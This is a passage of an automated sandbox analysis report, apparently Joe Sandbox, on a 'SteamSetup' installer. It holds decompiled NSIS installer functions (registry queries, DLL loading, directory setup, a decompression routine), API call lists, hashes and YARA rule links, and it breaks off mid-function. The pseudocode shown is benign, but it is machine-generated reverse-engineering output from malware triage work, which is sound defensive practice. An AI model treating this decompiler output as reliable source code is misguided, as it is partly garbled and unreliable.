RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Delete on reboot: ,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Delete on reboot: ,?), ref: 00406075
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Delete on reboot: ,?), ref: 00406096
RegCloseKey.KERNELBASE(?,?,004062BE,80000002,Software\Microsoft\Windows\CurrentVersion,?,Delete on reboot: ,?), ref: 004060B9

Strings

Delete on reboot: , xrefs: 0040604E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Delete on reboot:
API String ID: 3677997916-2410499825
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 0186f18981595c0b19feb364ea02d5f95392918b8fa258a18f8687652683a575
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 4501483115020AEADF21CF66ED08E9B3BA8EF84390B01402AF845D2220D735D964DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401FC3 Relevance: 6.1, APIs: 4, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401FC3(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				void* _t34;
				WCHAR* _t37;
				intOrPtr* _t38;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x42a2f8");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42a2c8 =  *0x42a2c8 +  *(_t39 - 4);
					return 0;
				}
				_t37 = E00402BBF(0xfffffff0);
				 *((intOrPtr*)(_t39 - 8)) = E00402BBF(1);
				if( *((intOrPtr*)(_t39 - 0x1c)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t37, _t32, 8); // executed
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t38 = E004065C7( *(_t39 + 8),  *((intOrPtr*)(_t39 - 8)));
					if(_t38 == _t32) {
						E004052DD(0xfffffff7,  *((intOrPtr*)(_t39 - 8)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x24)) == _t32) {
							 *_t38( *((intOrPtr*)(_t39 - 0xc)), 0x400, _t34, 0x40cddc, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x24)));
							if( *_t38() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x20)) == _t32 && E00403967( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t37); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401fc3
0x00401fc3
0x00401fc8
0x00401fcf
0x0040208e
0x004021dc
0x004021dc
0x00402a4c
0x00402a4f
0x00402a5b
0x00402a5b
0x00401fde
0x00401fe8
0x00401feb
0x00401ffb
0x00401fff
0x00402007
0x0040200a
0x00402087
0x00000000
0x00402087
0x0040200c
0x00402017
0x0040201b
0x0040205b
0x0040201d
0x00402020
0x00402023
0x0040204f
0x00402025
0x00402028
0x00402031
0x00402033
0x00402033
0x00402031
0x00402023
0x00402063
0x0040207c
0x0040207c
0x00000000
0x00402063
0x00401fee
0x00401ff6
0x00401ff9
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE
LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
KiUserCallbackDispatcher.NTDLL(?,00000400,?,0040CDDC,0040A000,?,00000008,00000001,000000F0), ref: 0040204F

Part of subcall function 004052DD: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$CallbackDispatcherFreeHandleLoadModuleTextUserWindowlstrcat
String ID:
API String ID: 719239633-0
Opcode ID: 3af2946ff99008b209debd4f1eb8d373454f26c3ddb3991e3b063650c9d6d31f
Instruction ID: 135227bab5bbd0cb957ad13063370cb04025123e1843093ab7a3381522db9c00
Opcode Fuzzy Hash: 3af2946ff99008b209debd4f1eb8d373454f26c3ddb3991e3b063650c9d6d31f
Instruction Fuzzy Hash: 7D21A731900219EBCF20AFA5CE48A9E7E71BF00354F20427BF511B51E1DBBD8A81DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004038D5 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038D5() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403932();
				_t4 = E0040596F(_t11, L"C:\\Users\\hardz\\AppData\\Local\\Temp\\nsc3274.tmp\\", 7); // executed
				return _t4;
			}

0x004038d5
0x004038e4
0x004038e7
0x004038e9
0x004038e9
0x004038f0
0x004038f8
0x004038fb
0x004038fd
0x004038fd
0x004038fd
0x00403904
0x00403910
0x00403916

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403708,?), ref: 004038E7
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,00403708,?), ref: 004038FB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038DA
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\, xrefs: 0040390B

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsc3274.tmp\
API String ID: 2962429428-836407889
Opcode ID: f084a8137c272c7609008576fb265960e9ac12256820a4da339362f4de570230
Instruction ID: 23b98c188a40640ee87c89e263e7d2a3484f90a0975adae1b2ea6fd77d705eba
Opcode Fuzzy Hash: f084a8137c272c7609008576fb265960e9ac12256820a4da339362f4de570230
Instruction Fuzzy Hash: 78E086B14407149AC124AF7CAD495853A185F453357248726F178F20F0C778996B5E9D

Uniqueness

Uniqueness Score: -1.00%

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015B9(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402BBF(0xfffffff0);
				_t17 = E00405BDD(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405B5F(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405829( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x24)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x24)) == _t28 || E00405846(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E004057AC( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x28)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040617E(L"C:\\Program Files (x86)\\Steam",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015b9
0x004015c1
0x004015c4
0x004015c9
0x004015cd
0x004015cf
0x004015d7
0x004015d9
0x004015dc
0x004015e2
0x004015fc
0x004015ff
0x004015e4
0x004015e4
0x004015e7
0x00000000
0x004015f2
0x004015f5
0x004015f5
0x004015e7
0x00401606
0x0040160d
0x0040161c
0x0040161c
0x0040160f
0x00401612
0x0040161a
0x00000000
0x00000000
0x0040161a
0x0040160d
0x0040161f
0x00401623
0x00401624
0x004015cf
0x0040162c
0x0040165b
0x004021dc
0x0040162e
0x00401630
0x0040163d
0x00401645
0x0040164d
0x00401653
0x00401653
0x0040164d
0x00402a4f
0x00402a5b

APIs

Part of subcall function 00405BDD: CharNextW.USER32(?,?,00425F30,?,00405C51,00425F30,00425F30,74D0FAA0,?,74D0F560,0040598F,?,74D0FAA0,74D0F560,00000000), ref: 00405BEB
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405BF0
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405C08

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 004057AC: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004057EF

SetCurrentDirectoryW.KERNELBASE(?,C:\Program Files (x86)\Steam,?,00000000,000000F0), ref: 00401645

Strings

C:\Program Files (x86)\Steam, xrefs: 00401638

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Program Files (x86)\Steam
API String ID: 1892508949-4113144287
Opcode ID: 2305ffb504cd1727ef0d2f6d990949bd10217623809cec2c7a11ebe9bcb6ddd7
Instruction ID: 18abe7de9e9977a76830232601504265d2e6edcedfe07fce7f69d5744a4425eb
Opcode Fuzzy Hash: 2305ffb504cd1727ef0d2f6d990949bd10217623809cec2c7a11ebe9bcb6ddd7
Instruction Fuzzy Hash: F911E631500504EBCF207FA0CD0199E3AB2EF44364B25453BF906B61F2DA3D4A819E5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405C3A(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040617E(0x425f30, _a4);
				_t21 = E00405BDD(0x425f30);
				if(_t21 != 0) {
					E00406412(_t21);
					if(( *0x42a258 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f30 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f30);
							_push(0x425f30);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E004064C1();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405B7E(0x425f30);
								continue;
							} else {
								goto L1;
							}
						}
						E00405B32();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405c46
0x00405c51
0x00405c55
0x00405c5c
0x00405c68
0x00405c78
0x00405c7a
0x00405c92
0x00405c93
0x00405c9a
0x00405c9b
0x00000000
0x00000000
0x00405c7e
0x00405c85
0x00405c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c85
0x00405c9d
0x00405ca3
0x00000000
0x00405cb1
0x00405c6a
0x00405c70
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c70
0x00405c57
0x00000000

APIs

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

Part of subcall function 00405BDD: CharNextW.USER32(?,?,00425F30,?,00405C51,00425F30,00425F30,74D0FAA0,?,74D0F560,0040598F,?,74D0FAA0,74D0F560,00000000), ref: 00405BEB
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405BF0
Part of subcall function 00405BDD: CharNextW.USER32(00000000), ref: 00405C08

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,74D0FAA0,?,74D0F560,0040598F,?,74D0FAA0,74D0F560,00000000), ref: 00405C93
GetFileAttributesW.KERNELBASE(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,74D0FAA0,?,74D0F560,0040598F,?,74D0FAA0,74D0F560), ref: 00405CA3

Strings

0_B, xrefs: 00405C40

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction ID: 790be11e20efdccda9c73cacd4945748764c6204d4d0b11914a12a4c94a1ccfd
Opcode Fuzzy Hash: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction Fuzzy Hash: 41F0F925108F6515F62233790D05EAF2554CF82394755067FF891B12D1DB3C9D938C7D

Uniqueness

Uniqueness Score: -1.00%

Function 00406C7B Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406C7B() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M004070E9))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
